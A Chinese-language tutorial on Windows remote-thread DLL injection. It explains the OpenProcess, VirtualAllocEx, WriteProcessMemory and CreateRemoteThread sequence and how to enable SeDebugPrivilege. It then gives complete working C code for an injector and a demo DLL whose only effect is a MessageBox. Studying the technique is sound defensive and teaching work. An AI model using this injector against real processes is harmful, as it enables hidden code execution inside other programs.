原理
在Windows操作系统中,每个进程的内存空间都是被隔离的,但是某些时候需要两个进程协调工作或者是跨进程操作。“远程线程”意思是跨进程,简单来说就是进程A在进程B中创建一个线程,这就叫远程线程。
DLL文件加载到进程的地址空间中,不会有进程名,隐蔽性较好,方法是强制让某进程加载DLL文件。只要有进程PID,先通过OpenProcess获取该进程句柄,再使用CreateRemoteThread。每个进程地址空间隔离,新创建的线程函数地址也应该在目的进程中,而不应该在本进程中,同样传递给线程函数的参数也应该在目的进程中,ThreadProc与LoadLibrary除了返回值以外基本相同,返回值的问题可以不考虑。直接把LoadLibrary函数作为线程函数创建到指定进程中。
LoadLibrary函数在Kernerl32.dll这个系统dll中,而Kernerl32这个DLL文件在任何进程中的加载位置都相同,也就是说LoadLibrary函数的地址在任何进程中的地址都相同,因此只要在进程中获取LoadLibray函数地址后,该地址在目标进程中也可以用。使用WriteProcessMemory把要注入的DLL文件写入目标进程,该函数第二个参数需要用VirtualAllocEx在目标进程申请一块内存,然后写入dll文件路径
实现过程
原理:先获取进程句柄(OpenProcess)->在目标进程申请一块容纳dll文件路径名的内存(VirtualAllocEx)并写入dll路径名(WriteProcessMemory)->从Kernel32.dll中获取LoadLibraryA函数的地址(GetProcAddress函数)->在目标进程中创建一个线程(CreateRemoteThread),把线程函数地址(ThreadProc)替换为从Kernel32.dll中获取的LoadLibrary地址加载恶意dll
调整进程权限
当前进程权限级别不够时,用OpenProcess()函数打开如smss.exe,winlogon.exe等系统进程时同样会失败,需要调整当前进程为”SeDebugPrivilege”权限。
调整权限3个步骤,调整权限使当前进程拥有”SeDebugPrivilege”权限,拥有这个权限后,当前进程可以访问一些受限的系统资源。
(1)使用OpenProcessToken函数打开当前进程的访问令牌
(2)使用LookupPrivilegeValue()函数取得描述权限的LUID
(3)使用AdjustTokenPrivileges()函数调整访问令牌的权限。
调整权限代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| bool AdjustProcessTokenPrivilege() { LUID luidTmp; HANDLE hToken; TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return false;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidTmp)) { CloseHandle(hToken); return FALSE; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = luidTmp; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) { CloseHandle(hToken); return FALSE; } return true; }
|
相关API函数
OpenProcess
有了进程ID后,用此函数获得进程句柄,返回值为进程的句柄,通过此句柄可结束进程
1 2 3 4 5
| HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId );
|
GetProcAddress
成功返回导出函数或变量的地址,失败返回NULL
1 2 3 4
| FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName );
|
CreateRemoteThread
功能为创建远程线程,相比CreateThread多了一个hProcess参数,该参数指定要创建线程的进程句柄。CreateThread也是依赖于CreateRemoteThread,两个函数都必须传入线程函数参数(ThreadProc)。这里需要给lpStartAddress函数传入LoadLibraryA的地址替代原来调用的线程函数,LoadLibrary通过GetProcAddress函数从Kernel32.dll中获取。
1 2 3 4 5 6 7 8 9
| HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
|
VirtualAllocEx
在目标进程申请一块内存,返回目标进程申请到的内存块的起始地址
1 2 3 4 5 6 7
| LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
|
WriteProcessMemory
把lpBuffer中的内容写到hProcess指定进程中的lpBaseAddress,使用WriteProcessMemory把要注入的DLL文件路径写入目标进程
1 2 3 4 5 6 7
| BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );
|
CloseHandle
对打开的句柄进行关闭释放资源
1 2 3
| BOOL CloseHandle( HANDLE hObject );
|
代码
恶意dll代码,功能为弹出MessageBox
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| #include "pch.h" #include <tchar.h>
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, _T("Dll Injected"), _T("tips"), MB_OK); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
|
注入代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| #include<stdio.h> #include<windows.h> #include<stdlib.h> #include<Tlhelp32.h.> #include<tchar.h>
BOOL AdjustProcessTokenPrivilege() { LUID luidTmp; HANDLE hToken; TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return false;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidTmp)) { CloseHandle(hToken); return FALSE; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = luidTmp; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) { CloseHandle(hToken); return FALSE; } return true; }
BOOL LoadDll(DWORD dwProcessID, char* szDllPathName) {
if (!AdjustProcessTokenPrivilege()) { printf("提权失败\n"); return 0; }
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID); if (hProcess == NULL) { printf("OPENPROCESS Error ! \n"); return FALSE; } LPVOID lpAllocAddr = VirtualAllocEx(hProcess, NULL, strlen(szDllPathName) + 1, MEM_COMMIT, PAGE_READWRITE);
if (lpAllocAddr == NULL) { printf("VIRTUALALLOCEX Error ! \n"); GetLastError(); CloseHandle(hProcess); return FALSE; }
BOOL bRet = WriteProcessMemory(hProcess, lpAllocAddr, szDllPathName, strlen(szDllPathName) + 1, NULL);
if (!bRet) { printf("WriteProcessMemory Error ! \n"); GetLastError(); CloseHandle(hProcess); return FALSE; } FARPROC dwLoadAddr = GetProcAddress(GetModuleHandle(_T("kernel32.dll")), "LoadLibraryA"); if (!dwLoadAddr) { printf("GetProcAddress Error !\n"); GetLastError(); CloseHandle(hProcess); return FALSE; } HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)dwLoadAddr, lpAllocAddr, 0, NULL); if (!hThread) { printf("CreatRemoteTread Error !\n"); GetLastError(); CloseHandle(hProcess); return FALSE; } CloseHandle(hProcess);
return TRUE; }
int main() { LoadDll(25028, (char*)"C:\\Users\\Administrator\\source\\repos\\Project8\\Project8\\DllTest.dll"); return 0; }
|
选择PID为25028的进程进行注入

注入成功,弹出MessageBox
